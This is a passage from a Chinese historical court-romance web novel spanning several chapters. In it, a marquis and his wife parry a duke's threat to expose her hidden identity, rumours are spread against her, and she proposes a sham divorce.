臣子们心知肚明,李彦成这是不愿意齐司延掌握要职,但一个个张嘴便是“圣上仁善,厚待功臣后代”,夸得赞不绝口。
然,齐司延真正接手了崇光院的事,展开调查了解才知道,李彦成另有算盘。
如今安国公许清俨然是世家权贵之首,却是李彦成的眼中刺。
若是齐司延能顺其心意,将崇光院修缮停滞不前的事,查到国公府敛财一事上。
李彦成一定乐见其成,并且会助齐司延一臂之力。
这样,许清会受挫,也会同齐司延结下梁子,两者不可能交好。
毕竟李彦成看不惯许清,也忌惮齐司延。
齐司延完全摸清楚了李彦成的心思,是以,他进一步可挫国公府锐气,退一步可装傻,养精蓄锐。
主动权完全在他手里,也足以用来牵制许清。
闻言,江元音彻底安下心,“那侯爷预备如何做?”
“待明日早朝过后,国公爷作何反应再做定夺,”齐司延环着她,温声道:“你不必急着回江南,总之,一切有我。”
回江南该是她自己的选择,而不是被迫的决定。
江元音表示了然地点点头,心里也有一计。
待明日齐司延告知她,许清那边是个什么反应态度,她再具体和他商议。
她不能坐以待毙,需得主动出击。
次日。
江元音醒时,齐司延已经上朝去了。
她隐隐约约听到不少脚步声。
隔得远,似有若无的。
她出声询问进来侍候的雪燕、清秋:“我怎么听着,府内似有动静?”
雪燕边拧帕子递过去,边点头道:“府里多了很多护院,曲休正给他们划分安排看护的位置呢。”
江元音接过帕子,朝清秋端着的铜盆漱了口,问道:“曲休没随侯爷出门?”
“嗯呢,曲休说侯爷嘱咐他了,寻了几个靠谱的贴身护卫,等夫人起了,领给夫人认认。”
江元音委实觉得没有必要,青松院的看守还是很严的,尤其现在还住了个封弋。
虽说封弋成日里来无影去无踪的,但一旦她有甚危险,他都能及时出现。
不过这些话,她深知不能同齐司延那个醋坛子说。
江元音洗漱完毕,打开了主屋外间的门,没多久,曲休便领着两个护卫过来。
曲休恭敬介绍道:“夫人,这二位是沉月、青鸢,是侯爷命我为夫人挑的护卫,日后便随侍夫人左右,护夫人安全。”
“沉月见过夫人。”
“青鸢见过夫人。”
江元音望着面前这两位一身黑色劲装,扎着利落高马尾的女子,目露欣赏,颔首笑道:“日后麻烦二位了。”
……女护卫。
……果然是个醋坛子。
雪燕和清秋还从未见过会武的女子,一个个目露崇拜的迎上去,兴奋得问东问西,开心日后一起侍候夫人的姐妹又多两个。
还是如此有安全感的姐妹!
江元音听着她们叽叽喳喳,余光扫过一旁路过的封弋,唤住他:“封弋。”
封弋驻足回眸,无声询问。
江元音朝他招手,示意他过去,给他介绍沉月、青鸢。
封弋轻瞟了一眼,无声拒绝,抬步走远。
江元音倒也不强求,待离开汴京,她救封弋的恩情便了了,到时候封弋便是自由的。
只要他最后不去泉郡帮李承烨,他去哪她都开心。
曲休一直到将所有的护院安排妥当了,才出府去寻齐司延。
大昭皇宫。
下了早朝,官员们三三两两同行出了大殿。
齐司延不疾不徐地走着,不时同和他打招呼的官员,场面寒暄两句。
而在他前方,安国公许清被一群官员围着,步子越来越慢,最后几乎停住了。
齐司延眼底有洞悉一切的轻笑。
他尚未去探许清的口风,倒是许清先按捺不住了。
齐司延并未调整步调,只是在迈过许清时,场面地拱手行礼:“许公。”
许清噙着浅淡的笑,点了点头,眸光示意围着他的那群官员散开。
那些个个是人精,会意给二人留出谈话的空间。
许清和齐司延一道朝前走着,好似是半路碰上,顺路通行一般的自然。
许清关心问道:“定宁侯大病初愈,又被圣上委以重任,如今日日要上早朝,身子可还适应?”
“多谢许公关心,一切都好。”
许清又似想起了什么似的,忽地叹了口气,低声道:“说来惭愧,小女前几日登门叨扰令夫人的事,老夫早就想寻个机会同你说道说道。”
“我那日听闻这件事,便罚了小女禁足思过,想必你夫妇二人也不想再看到小女,徒增烦心,老夫便替小女,给你们夫妇赔个不是,怪老夫疏于管教,让她老大不小了,行事仍旧荒唐不像样。”
“还望你夫妇二人海涵啊。”
这章没有结束,请点击下一页继续阅读!齐司延又拱手作揖,云淡风轻地回:“许公言重了,许小姐对珩王痴心一片,全汴京皆知,常有过激的言行,我与夫人皆有耳闻,是以不会放在心上,许公放心。”
许清面不改色,“定宁侯心胸宽广,定能成大业。”
“许公谬赞。”
许清笑容不散,眼里的深意却多了几许。
他的庶子许子枫,资质平平,没什么起眼的能力,独独还擅字画丹青。
昨夜,他看着许子枫送上来的,定宁侯之妻的画像愣神了许久。
若非是许子枫不受宠,从未有过面见先皇后的机会,他都要怀疑,他是照着先皇后所画了。
再加上李昀璟的反应,和李霁的行为,他几乎笃定了江元音的身份。
今日,是想来试探试探齐司延。
按照昨日李昀璟去了侯府,见到了江元音。
齐司延对他的主动接近,至少该露出些慌乱的神色才对。
然而,其回答反应,滴水不漏,毫无破绽。
仿佛昨日李昀璟未曾去过侯府,更好似,他压根不知晓江元音的身世,也不担心其身世是否会被曝露。
两人各怀心思地走了几步,许公面色忽然沉了沉,低声道:“老夫今日除了想替小女给你夫妇二人道个不是之外,还有一件事想同你确认一番?”
“何事?许公不妨直言。”
许清将齐司延的神色尽收眼底,压低声音问道:“令夫人非江氏女?”
齐司延挑眉,状似讶然地反问:“许公何出此言?臣妻乃是皇上赐婚,许公此言,恐有失妥当。”
许清掀了掀眼皮,似是终于露出了些满意之色,轻瞟了一下四周,道:“此乃令夫人之弟,太子殿下陪读江正耀所言,老夫一听,也是吓了一跳,这个可是欺君之罪,要满门抄斩的!”
他伸手安抚地拍了拍齐司延的手臂,“你且先别慌,此事老夫替你先拦下来了,尚未闹到圣上面前去。”
齐司延了然。
许清这个老狐狸,最擅怀柔手段,在不明门道的人眼里,最是平易近人。
他便是想笼络自己为他办事,也是想以“恩人”的姿态,让自己感恩戴德。
齐司延却半点不接招,一副恍然模样地反过来安抚道:“若是出自我妻弟所言,许公大可不必当真,为我担心。”
“哦?”许清摸了摸胡子,“这是为何啊?”
“妻弟自幼被骄纵长大,生性顽劣,品行不佳,满嘴谎话,最爱哗众取宠,所言不能当真,”齐司延有理有据道:“许公同太子殿下亲近,想必早有耳闻,妻弟前些日子才同御史大夫之子起了冲突,可见其顽劣,他的话,如何能当真?”
许清依旧是笑,“看来定宁侯是全然不在意此事闹到圣上面前去?”
齐司延做沉思状,片刻后忽地开口:“此事可大可小,的确该严肃处理。”
他侧眸,认真询问道:“许公说将此事拦下来了,定是叮嘱太子殿下将我妻弟禁足东宫了,不知许公可否随我去一趟东宫,把这事处理妥当?”
许清看齐司延的眼神里充斥打量与探寻。
他俩要是结伴而行,同去东宫,不出一刻钟,便要被李彦成召见。
他是真不知,还是故意为之?
无论如何,他是不可能和他同去东宫的。
一阵沉默后,许清好似认可的点点头,“这可是满门抄斩的大事,的确需处理妥当,但你妻弟不在东宫。”
“那他在何处?”
“一会出了宫门,你随我走一趟便是。”
齐司延颔首应了。
这时,有公公匆匆而来,急声恭敬唤道:“许国公留步,侯爷留住!”
许清、齐司延驻足转身。
小公公恭敬道:“圣上请二位前往御书房一叙。”
许清和齐司延心思各异,面上却都是浅笑领了这口谕。
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第148章 皇上疑心王爷
御书房。
两人皆是不慌不忙地行礼请安。
“臣安国公许清恭请皇上圣安。”
“臣定宁侯齐司延恭请皇上圣安。”
“两位爱卿免礼,”李彦成扫过二人的脸,一派关怀的开口:“近来听闻两位爱卿之间闹了些不愉快,是怎么一回事啊?”
状似关怀,却没吩咐赐座。
许清应对李彦成这种试探,素来是不会随便言语的。
因为既不清楚李彦成是掌握了什么,又不愿被其套出些什么话来。
他等着齐司延先开口表态,再做应对。
然而齐司延抬眼看许清,不言不语。
这一眼,充斥的不明信息实在太多,好似他有很多话想言说,但只能先看许清的脸色。
不确定是否能言说。
引得李彦成也看向许清,目光讳莫如深,只透出一个讯息:你有事瞒朕。
许清不是个会轻易怯场慌张的人,多得是应对的法子。
面对李彦成的目光询问,他无奈摇摇头,连叹了好几声气,情绪到位了,方才开口:“想来皇上是听闻了小女绮嫚登门侯府的荒唐事,老臣刚正是为此,同定宁侯赔不是来着,哎——老臣这张脸,真是没处搁了!”
他说着看向齐司延,又虚虚拱了拱手,把话抛过去,“定宁侯可愿看在老夫这张老脸上,不同小女计较?”
此话一出,后续走向,全看齐司延如何回应了。
他觉得但凡齐司延是个聪明人,想瞒住江元音的身世,这时候都该配合自己,一同糊弄李彦成。
这也是在无形中,引导齐司延与他站在同一战线。
齐司延亦抬手作揖,虚回了个礼,“许公言重了,许公乃国舅,我怎么会跟许公计较?”
他语气倒是诚恳,没有半分挖苦之意,字里行间无不展示对许清的敬重与恭让。
这若是任何只有二人交谈的场合,许清听着这句话,都会舒心。
可偏偏这场合里,还有李彦成。
齐司延的示好便让其如坐针毡了。
果不其然,李彦成笑着感慨出声:“看来两位爱卿之间不可能闹不愉快,是朕多虑了。”
他说着,状似好奇地问许清:“就是不知绮嫚为何要去侯府闹事啊?据朕了解,定宁侯府当没有未婚女眷才是,绮嫚这回寻的是谁的麻烦啊?”
许绮嫚为了李霁发疯,是全汴京皆知的事。
五六年前时,闹得是最凶。
那时但凡是有点风声,听到有意嫁入王府的女眷,或是李霁同哪位妙龄女子走得近些,许绮嫚保准找人麻烦。
也正是如此,早几年,许绮嫚还在适婚年龄时,他多次有意给她指婚,皆不了了之。
“哎,哎,哎——”许清三连叹,将痛心与烦恼展现得淋漓尽致,“珩王爷风流无双,令绮嫚魂牵梦绕,整个人跟魔怔了似的,转眼都蹉跎十来载了,还是一听到点风吹草动,便捕风捉影,竟做出些出格事。”
李彦成饶有兴致地望着许清,“是怎么捕风捉影到定宁侯府上的啊?”
“这……”许清忐忑望了李彦成几眼,欲言又止,“攸关王爷名声,老臣不知当不当言。”
他说这话时,余光一直在不着痕迹地打量齐司延。
试图从齐司延身上捕捉到些慌乱与忐忑来。
然而齐司延镇定自若,没甚情绪起伏。
“诶,”李彦成一派和煦模样,好似拉家常一般的平常口吻,“许公直言便是,清晏朕还不了解吗?他眼瞅着便到而立之年,也是成日没个正经样,许公还能说出些什么毁坏清晏名声,令朕惊叹的事?”
“清晏”是李霁的表字,全天下也只有李彦成会这般唤他。
李彦成目光在许清和齐司延之间来回,意味深长道:“总不至于和定宁侯之妻江氏有关吧?”
淡然许久的齐司延这时才终于有了些情绪,朝李彦成俯了俯身,沉声道:“臣妻有孕在身,还请皇上勿打趣臣妻。”
许清眼底终于有了会心的笑意。
齐司延这般反应,他笃定其会与自己结盟。
许清自以为自己已摸出了齐司延的心思,忙出声帮腔道:“皇上容禀,此事同定宁侯之妻无关。”
“哦?那究竟是怎么个事啊,倒是把朕听糊涂了。”
许清一脸怒其不争的模样,唉声叹气地开了口:“珩王爷素喜弦乐,想必是在汴京东城的琴坊里觅得了知音,这本是美事一件,奈何绮嫚……”
他故意顿了顿,一派不好言说样子略过,“前些日子,老臣一个没看住,绮嫚在珩王在琴坊品琴时,冲动去见了那琴师,恰巧那日定宁侯携夫人也在场,侯夫人心善,好心劝解了几句,只是绮嫚被嫉恨冲昏了头脑,压根听不进去,反而迁怒了侯夫人。”
“的确是绮嫚过于骄纵跋扈,错得离谱,老臣已罚她禁足思过。”
这些话,许清张嘴便来,说得极其顺畅,半点不似临时胡诌。
的确不是。
先前李昀璟没登门,他不知晓江元音身世时,这番话便已酝酿斟酌好,只等一个合适的机会说出口。
本小章还未完,请点击下一页继续阅读后面精彩内容!他得让李彦成知道,李霁私底下有联络齐司延。
这样李彦成盯着国公府的精力,将挪些到珩王身上去。
他并非是一时兴起,故意针对李霁,而是早些年,太子之位,悬而未立之时,他便暗中拉拢过李霁。
李霁是油盐不进,不仅明面上不涉朝堂,私底下更不站任何党派。
也因此,更得李彦成的心。
许清知晓,李霁看似是个没有实权的挂名王爷,但李彦成很多事,都是暗暗交予了李霁来办。
若能离间李彦成与李霁,于他而言,百利无一害。
许清也不怕,此话会将齐司延陷入两难的境地,稍不留神,一样会使其被李彦成猜忌其和李霁拉帮结派。
只有让齐司延感受到了危险,他再出手“相助”才显得有份量。
而哪怕国公府要和定宁侯府结盟,也只能暗地里进行,明面上得给疑心病重的李彦成,来个“两人不合”的印象。
此乃一举三得。
李彦成眼底,果然是乌云密布,唇边的笑意收了收,看向齐司延,问道:“朕竟不知清晏和定宁侯私下还会相约品琴?”
齐司延低眼,不疾不徐地回道:“臣那日与珩王爷乃是偶遇,并非相约,臣急着接手崇光院的事,便邀了刘尚书了解情况,那琴坊乃是刘尚书挑得地,臣携臣妻同往,听闻珩王爷也在,故前去请安问候,皇上可向刘尚书确认一二。”
许清适时帮腔道:“总归千错万错都是绮嫚的错,老臣日后定勤加管教,轻易不让其出门闯祸。”
他话锋一转,自然而然地把话题跳到李霁的婚事上,道:“不知王爷何时愿意娶妻,待王爷娶妻那日,想必绮嫚就能想通死心了。”
李彦成好似认可地点点头,眸光悠远道:“清晏岁数不小,也该娶妻生子,安定下来了。”
他侧眸看向一旁的曹学良,吩咐道:“宣珩王入宫觐见。”
“是,皇上。”
语罢看向齐司延与许清,“你们既把误会说清了,朕也不必忧心你们生了嫌隙,退下吧。”
“臣安国公许清告退。”
“臣定宁侯齐司延告退。”
两人行完礼,往后退。
几步后,李彦成想到什么似的,倏地唤住了齐司延:“定宁侯。”
齐司延止步:“臣在。”
“暂未见你呈报修缮崇光院的进度,可是遇到了什么难处?”
闻言,许清的步子,不经意地放缓,唯恐错过齐司延的回答。
齐司延稍稍扬声作答:“臣正在同库部郎中了解拨款事宜。”
“嗯,”李彦成在同齐司延说话,余光却落在许清的背影上,“若遇着棘手的情况,随时同朕禀告。”
“臣谨遵圣喻。”
待到两人的背影消失在视野里,李彦成敛了笑,“曹公公。”
“奴才在。”
“唤人去问问工部的刘尚书,上回同定宁侯相约琴坊谈事,是几月几号。”
“是,奴才这就去办。”
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第149章 再也不陪他午睡
下了御书房的台阶,齐司延主动出声道:“我今日恐不能随许公去处理妻弟的玩闹话了,得去催催库部郎中,免得迟迟没有进展,让皇上误以为我对修缮崇光院的事不上心。”
“我妻弟口无遮拦之事,还请许公多费心几日,待我同库部郎中确认好了,为何修缮崇光院的拨款,迟迟未下来后,再来同许公道谢。”
许清微笑颔首:“不打紧。”
两人今日刚一交谈,就双双被请到御书房,本就不宜再多交流。
望着齐司延远去的背影,许清眼底一片冷意。
他自不可能让齐司延去查清楚,为何修缮崇光院的拨款,迟迟未下来。
待上了自己的马车,他摸了摸胡子,朝自己的随侍下了两条指令。
而齐司延只是去见了见库部郎中,走了过场,压根没有久待。
李彦成在御书房那一提点,许清一定会所有行动,此时他要再想查事情的始末,难如登天。
好在,他早就掌握了许昌安挪用这笔款项的证据,不过是捅破与不捅破的事了。
齐司延回了侯府,同江元音一道用午餐。
他把在御书房的种种,转述与她听。
江元音听完,冷声道:“他倒是会装好人,还把珩王给拉下水。”
要笼络齐司延,成为李昀璟幕僚,不靠威压,靠施恩?
李霁最是无辜。
按照血缘来说,他们一个是她的叔父,一个是她的舅舅。
许清能有如今的权势地位,多少有她母亲的助力和功劳吧?
可他眼里,只有如何才能助李昀璟坐稳太子之位,保住他的权势地位。
两相对比,李霁比许清要有人情味得多。
也是,他们两个一个在权势的漩涡里,一个作壁上观,所求不同,选择自然不同。
“放心,珩王不会有事,”齐司延安抚道:“在皇城,明哲保身比追逐权利更难,珩王自有珩王的手段。”
江元音是认可的。
李霁不是傻子,否则上辈子不可能成为这场皇权争夺的幸存者。
她不再纠结这个点,问道:“许国公那边,侯爷是打算拿其嫡三子许昌安挪用库银的事,来堵住他的嘴?”
齐司延看她眸光闪闪,很是了解她的反问道:“阿音是有想法和主意?”
江元音点点头,“我以为,许昌安挪用库银的事,是个挺好的牵制国公府的筹码,用在堵住我身世一事上,有些浪费了。”
齐司延专注看她,一副认真聆听,静待后文的模样。
江元音接着说道:“从今日许国公的反应来看,他并没有要向李彦成揭露我身世的打算,只是想以此为筹码,拉拢侯爷,既如此,他定会有后续的行动。”
“侯爷不妨再等等,看他到底有些什么底牌?”
两人的想法不谋而合,齐司延轻声应了:“好,听阿音的。”
事情谈妥,江元音不磨蹭地起身,莞尔道:“那我不打扰侯爷午休了。”
齐司延近来日日天未亮便起床去上早朝了,若是不忙,便会回府用午餐,再午睡半个时辰。
齐司延伸手拉住她,沉声邀约:“一起睡?”
江元音婉拒了,“我早晨睡够了才起,现下不觉困。”
她还想着等他午睡了,差人去探探江家那边的情况呢。
许清口中,江正耀要闹事之说,是真是假,探探便知。
齐司延没松手,他还坐着未起身,仰头看向她,放柔了语调,近乎轻哄:“那阿音陪我睡一会,可好?”
江元音垂眼,这个角度下的齐司延,眉眼里没有半点侵略性,格外温柔。
她鬼使神差地应了。
那便陪他躺半个时辰好了。
待双双躺回床榻,齐司延却不急着入睡,而是圈着她,问道:“给你挑的那两个护卫可还满意?”
“甚好,侯爷一夜之间是从哪寻得这两个英姿飒爽的女护卫?”
大昭不推崇女子习武,短时间要找出这么两位女高手,着实不易。
“不是一夜之间,”齐司延回道:“月初关将军等人登门时,便嘱托他们帮我物色了。”
江元音讶然,“这么早?”
“嗯,”齐司延没瞒着,“那日乞巧,你说想同雪燕、清秋出去逛逛,我便觉得你不喜闷在府里,我又无法保证回回伴你左右,但只你主仆三人出门,不安全。”
江元音听得动容,还滋生出惭愧来。
想她早上还腹诽他小心眼,因为吃了封弋的醋,才给她寻了两个女护卫。
她真是以小人之心度君子之腹了。
惭愧啊。
江元音越惭愧,嗓音便越发甜腻,“得侯爷青睐,阿音三生有幸。”
齐司延发出愉悦的轻哼,随后道:“既阿音满意沉月、青鸢,就不必留那封弋在身边了吧。”
江元音:……
她还是愧疚得太早了些。
她戳了戳他的胸口,不客气地调侃:“侯爷心窄如溪,一叶扁舟过,便起千层浪。”
齐司延不以为然,抓住她的手,“溪窄因水清,舟过留痕深。”
他理直气壮地补充道:“何况我是为你的安全考虑,直至今日我仍未查到他的来历。”
一个如此厉害的绝世高手,在大昭境内,竟查不到半点消息。
“侯爷放心,待出了汴京,我便与之分道扬镳。”
当初救封弋时,两人便做了这个交易,她知封弋重义,不想欠她人情,才会每次见面都问她什么时候走。
见齐司延还要再劝,江元音伸手,直接捂住他的嘴,没好气道:“侯爷到底睡不睡?当初我听闻侯爷要娶平妻,都没这么介怀,侯爷何必在意一个……”
后面的话,被齐司延的眼神生生逼退。
他墨眸好似结着寒霜,直直地盯着她,之前收敛的压迫感与侵略性满溢。
江元音竟莫名有些心慌。
齐司延一瞬不眨,动作轻柔地拿开她捂住自己嘴的手,语速极缓,近乎一字一顿地同她确认道:“听闻我要娶平妻,阿音当真不介怀吗?”
他墨眸里是疾风暴雨,仿佛她此刻敢点头,就要汹涌淹没她。
不待江元音出声,齐司延又压抑隐忍地质问:“阿音到底是大度,还是不在乎?”
他眼里的暴雨并未汹涌淹没她,而是全部淋在了他自己身上。
江元音读懂他眼里的患得患失,主动拥抱他。
好像从她说要回江南后,他便是如此。
齐司延觉得不够。
她的主动拥抱,让心里的某个角落反而越空。
他一个翻身,将她压在身下。
这场骤雨,终是将两人都淋湿透。
完事后,齐司延情绪稳定了不少,抱着江元音去沐浴更衣。
浑身酸软的江元音忍不住再次感慨,若不是元奚真人给了什么秘药给齐司延调理了身子,便是那静息丸真乃神药。
他晚上睡得少,白日里又事多,忙个不停的,怎地精神头还这般好,半点不觉累的。
她再也不要陪他午睡了。
等到两人都沐浴更衣完毕,已过了午时。
江元音掀了掀眼皮,看向神清气爽的齐司延,懒洋洋地问:“侯爷今日还要出府?”
“嗯,要去趟工部。”
齐司延在她眼里看到了熟悉的嗔怨,是以俯身弯腰,将自己的脖子送过去,纵容哄道:“给阿音撒气。”
江元音没好气地瞟他,格外地善解人意地提醒道:“侯爷不是要工部办事吗?”
还让她咬脖子撒气?
她还记得有一回,她生气他每回将她折腾得散架后,他却穿得严实,一副清冷禁欲的模样,于是故意咬他的脖子泄愤。
可最终觉得“丢脸”的人却是她。
因为无论是清秋、雪燕还是曲休,看到齐司延脖子上的咬痕后,都会暧昧看向她。
……简直是自作孽。
齐司延不为所动,坚持道:“咬吧,我该咬。”
江元音后仰,拉开两人的距离。
齐司延伸手,将她头轻按压在自己的脖子上,甚至隐约有些期盼:“咬吧。”
江元音被他的执着打败,无语的张嘴,如他所愿地咬上的脖颈。
……到底是给她撒气,还是他有什么特殊癖好?
这时有事要禀的清秋和来提醒齐司延该出发的曲休,一同迈了进来。
“夫人……”
“侯爷……”
下一瞬,两人默契抬手打嘴,互看了一眼,又不约而同往外退。
江元音面色微窘,嗔了眼齐司延。
而始作俑者抬手摸了摸脖子上的咬痕,毫无半点窘态,心满意足地仰了仰下巴,完全没想遮掩地展示,开口道:“何事?”
曲休和清秋交换了眼神,双双深呼吸,迈了进去。
曲休:“侯爷,车已备好,该走了。”
齐司延颔首,抬步欲走时,见清秋目光闪烁,又驻足了。
“不好了夫人,刚刚采买回来的嬷嬷说,外边……”清秋瞅瞅江元音,又瞅瞅齐司延,“外边多了好多谣言……”
江元音沉声:“什么谣言?”
“说……夫人心狠手辣,将上门探望的亲弟弟的双腿……打断了!”
“不知是从哪传出来的,总之现在东街西街都传遍了!”
“夫人,这个如何是好啊?”
江元音抬眼,同齐司延四目相对。
果然,睡了个“午觉”,便有动静了。
齐司延吩咐曲休:“派人去查,谣言是从何处起的,最好能抓几个传谣的人,但不要阻止,惊动其他人。”
江元音甚是满意。
齐司延所言,正是她心中所想。
江兴德不会敢得罪侯府,授意传谣的八成是国公府。
而谣言应当只是第一步。
齐司延又吩咐道:“立即派人去一趟江家,确认江正耀的腿是不是真的断了。”
他说着,打量着江元音的神色,不见其有任何异样不舍后,云淡风轻地补充道:“若是没有,便帮他一把。”
他既然敢放这种谣言,那就让他坐实谣言。
曲休拱手:“是,侯爷。”
江元音当然不会出声阻止。
这亦是她想做的事。
齐司延和她,堪称心有灵犀。
齐司延吩咐完,再看向江元音,又是一派温柔,“要是觉得累就再躺会,我办完事便回。”
江元音莞尔,温声应道:“好,我等侯爷回来吃晚饭。”
齐司延心情甚好,下巴轻抬,迈出了主屋。
直到上了门口马车,才失望收回了下巴。
……那封弋怎地不在?
第150章 假和离
不过一下午,谣言是愈演愈烈。
“听说了吗?那商贾出身的侯夫人,是个蛇蝎心肠,昨儿个她那才十岁的亲弟弟上门探望,她竟命人将其打瘸了,给扔在大街上!先前她父母登门,亦是落得一身伤离开!”
“难怪我之前听说,六月初的时候,她下药害死了叔母女儿腹中的孩子,害得国公府的许四郎休了她呢!”
“先前听着像假的,现下听来,八成是真的。”
“可不嘛,这么一说,我都怀疑侯爷叔父叔母一家,是不是都被这个毒妇害的入狱惨死了!”
“哎,可怜侯爷病了十多载,好不容易身子好起来了,又娶了这么个毒妇……”
……
……
雪燕和清秋同江元音转述着,越说越生气。
“这些人有没有脑子啊,说话前言不搭后语的,齐文台一家子作恶,分明是证据确凿,是刑部和御史台处置的,关夫人何事?”
“何况真要像他们说的那样,侯爷能坐视不理吗?”
“用脚指头想想,也该知道是假的!”
江元音反而出声劝慰道:“他们就是放谣言的人,照本宣读罢了,要什么逻辑?”
“你们也都知道是假的,何必为这些莫须有的事情置气?”
听完了这些谣言,江元音因笃定了心中猜测,而变得淡定。
这些谣言,以江家为主导,又掺和进了齐婧涵,摆明了是许清的主意。
他无非是看出来了齐司延对她的重视,要让她身陷囫囵,再施以“援手”,让他们感恩戴德,站队李昀璟。
江元音知晓,齐司延手中有国公府的把柄,不可能钻许清的圈套,受其摆布。
只不过她觉得与其同国公府撕破脸,不如将计就计。
她心里有个藏匿许久的念头,正跃跃欲试。
江元音完全不受谣言困扰,反而兴致高昂地动身去了后厨。
今晚的商谈,要让齐司延点头,难度不小。
她须得费心筹备。
齐司延回府时,是酉时正点。
眼看着要入秋,白昼渐短,他回府时,暮色就要四合。
江元音已备好了满桌的菜肴,只等他落座享用。
齐司延大步而来,见江元音就候在门口,只当她是等不及想知道后续进展,便开口道:“国公府这事办得谨慎,是直接嘱咐江家寻人布谣,抓了几个散布谣言的人,只供出了江家,牵扯不到国公府。”
江元音了然颔首。
许清能坐到如今的位置,自不是傻子,不会轻易留下把柄,让他们查到国公府头上去。
她伸手探入清秋端来的铜盆里,拧好帕子递给齐司延擦拭手,“侯爷,可用晚餐了。”
齐司延早有应对之策,见江元音并不慌乱忐忑,便不急着说了。
他接过帕子,擦拭了手后落座,扫了眼餐桌上的菜,随即抬眼看着她,无声询问。
这一桌子菜,和往日不太一样。
可不像是侯府厨子的手艺。
江元音在他右手边的位置落座,眉眼弯弯道:“今晚的菜是比平日少了两道,但全是妾身亲手做的,都是些江南菜,侯爷品鉴品鉴妾身的手艺。”
成婚半年,她给他熬过药,下厨倒是头一回。
雪燕和清秋在一旁帮腔。
“夫人都没让我们搭把手,这一大桌子菜全是夫人一人忙活做好的。”
“侯爷好好尝尝,夫人足足在后厨忙活了一个时辰呢!”
江元音嗔了她们一眼,“你们先下去吧。”
“是,夫人。”
两人默契看向立在齐司延身旁的曲休,无声示意:夫人要和侯爷单独用餐。
曲休很有眼力见,“曲休告退。”
三人退下去,细心地关上了房门。
齐司延无心桌上的菜肴,而是拉过她的手查看:“可有烫着?”
江元音摇摇头:“妾身又不是笨手笨脚,怎会烫着?”
她抽出一只手,探向面前的菜,笑吟吟介绍道:“这一道是梅雨胭脂鹅,是用梅子酒先醉腌,再用慢火烹饪,肉嫩不柴,又浸满了梅子酒香。”
“这一道是桂花糖藕,在糯米藕上淋上桂花蜜,甜而不腻。”
“这一道是龙井虾仁……”
总共四道菜,江元音一一介绍完,执筷看他,温声询问道:“侯爷想先尝尝哪一道?”
然而齐司延目光不偏不倚地落在她脸上,洞悉一切地打趣:“不敢尝,怕代价高昂,无福消受。”
江元音莫名的心虚,柔声道:“侯爷神通广大,哪有侯爷付不起的代价。”
齐司延轻哼一声,心道果然。
他挑眉道:“便是不为我洗手作羹汤,阿音的要求,我亦不会拒绝。”
“有侯爷这句话,妾身就放心了,”江元音眨了眨眼,再次劝道:“侯爷奔波一下午,定然饿了,待侯爷用了晚餐,我们再谈。”
齐司延闻言,哪还有用餐的心思,“不急,阿音且先说说,想要我做什么?”
“先吃饭……”
齐司延微微眯眼,“难不成阿音要和我说的,会让我食难下咽?”
江元音自知此刻不把话说清楚,齐司延怕是一口都不会吃。
她深呼吸,放下了筷子,面朝他而坐,一脸严肃地开口道:“侯爷,妾身以为,许国公此番找事,既是危机,更是良机。”
齐司延不语,安静看她。
他倒要听听看,是什么“变危为良”的法子,需要她铺垫如此之多,才能述之于口。
江元音:“今日谣言中不止是与江家有关,还扯出了齐婧涵,我猜想,许国公是想自编自演,下一步,定会假模假样地出手压下谣言,让侯府承其恩。”
“我当然知晓侯爷只需摆出许昌安挪用库银之事,谣言一样消散。”
“但我认为,不如将计就计,好好利用这些谣言。”
江元音兀自调整了下呼吸,在齐司延的注视下开口,道:“侯爷,不如我们假和离,如何?”
她特意加重了“假”字的发音,不躲不闪地迎着他的视线。
齐司延眸光骤冷,几乎没有犹豫,一口拒绝:“不行。”
他的反应在她的意料之中,她主动伸手握住他的手,道:“侯爷先听我分析。”
“有何好分析?”齐司延半分不让,隐忍克制地反问:“你所有的顾虑,我都会解决,我也能解决,为何要和离?”
“假的!假的!假的!”江元音重声强调,“是假和离!”
她抬手,再次战术性捂住他的嘴,言简意赅道:“侯爷当清楚,如果你我不和离,我根本回不了江南。”
不管李彦成知不知道她的身世,她都是齐司延的家眷。
为君者,根本不会轻易放任何重臣的家眷,离开京师皇城。
家眷在皇上眼里,其实也就是“人质”。
尤其,现在齐司延除了她,称得上“孤家寡人”。
他们不“和离”,李彦成不会放她离开汴京。
便是齐司延寻到了什么由头,让她顺利离开汴京,疑心重的李彦成一定会派人盯着她。
所以“假和离”是她在提出想回江南那日,便想说的。
只有她和齐司延无关了,李彦成才会彻底忘掉她这号人物。
可齐司延对“和离”二字,反应极大,她不得不先缓一缓。
这也是为何,那日在遇仙楼,李霁问她不和离是不是缓兵之计时,她不置可否的原因。
但近来,齐司延的患得患失,小心翼翼她都看在眼里,“假和离”三个字便越发难以说出口了。
直到许清整这么一出,她方才觉得是个好机会。
江元音继续道:“许国公做一出戏,无非是清楚侯爷在意我,想以此拿捏侯爷。”
“从珩王船舫,到进宫请御医,相信全汴京都知侯爷与我情意浓,他们若对侯爷有想法,只会想从我下手。”
“我们顺势假和离,既可以让许国公的计划落空,日后侯爷少了‘软肋’,也不必被人拿捏,在汴京行动只会更自如。”
“侯爷先前那套‘龙威震人’我产前不宜面圣的言论,甚至撑不到一年。”
“若我们假和离,李彦成自不会再记得我这号人物,便不再有召我入宫之忧。”
“他早有意为侯爷娶平妻,侯爷若提出与我和离,他不会阻拦。”
“侯爷,假和离,乃当下万全之策。”
齐司延没有过多的表情与动作。
他只是轻轻侧头,撇开了她捂住他嘴巴的手,眼眶猩红地望着她,扯了扯唇角,声音很轻:“好一个万全之策。”
江元音锲而不舍地劝道:“这便如同侯爷之前病愈不宣一般,是应付外人的权宜之计,又不是真的,侯爷先尝尝我的手艺,冷静想想,我们慢慢……”
齐司延倏地站起身打断,扫了满桌的菜肴一眼,自嘲道:“果真是听完便食难下咽的提议,夫人的手艺,为夫果然无福消受。”
语罢,他大步离开。
江元音长叹了一口气,没有再追上去。
她就知道他会是这般反应,才这么多天都没敢提。
只盼着他独自待一会,能想清楚个中厉害,接受假和离。
实在不行,她晚点再想想法子,好好哄哄他了。
第151章 让我们叔侄携手,给你舅舅送礼
齐司延直接去了书房。
江元音放任他独处了一个时辰,端着碗汤面入内。
齐司延静坐书案前,手执书卷,晕黄的烛火映照着他轮廓分明的脸,冷若冰霜。
他眉眼未动,对走近的江元音置若罔闻。
江元音放下端盘,俯身弯腰凑近,噙着笑,好声好气道:“侯爷没用晚餐,定然饿了,先歇息一会,垫垫肚子吧。”
齐司延毫无反应。
江元音主动环上他的脖颈,正要甜言蜜语,哄一哄他。
然而尚未来得及开口,齐司延这座冰山反应极快地扯开她的手,率先开口:“和离免谈。”
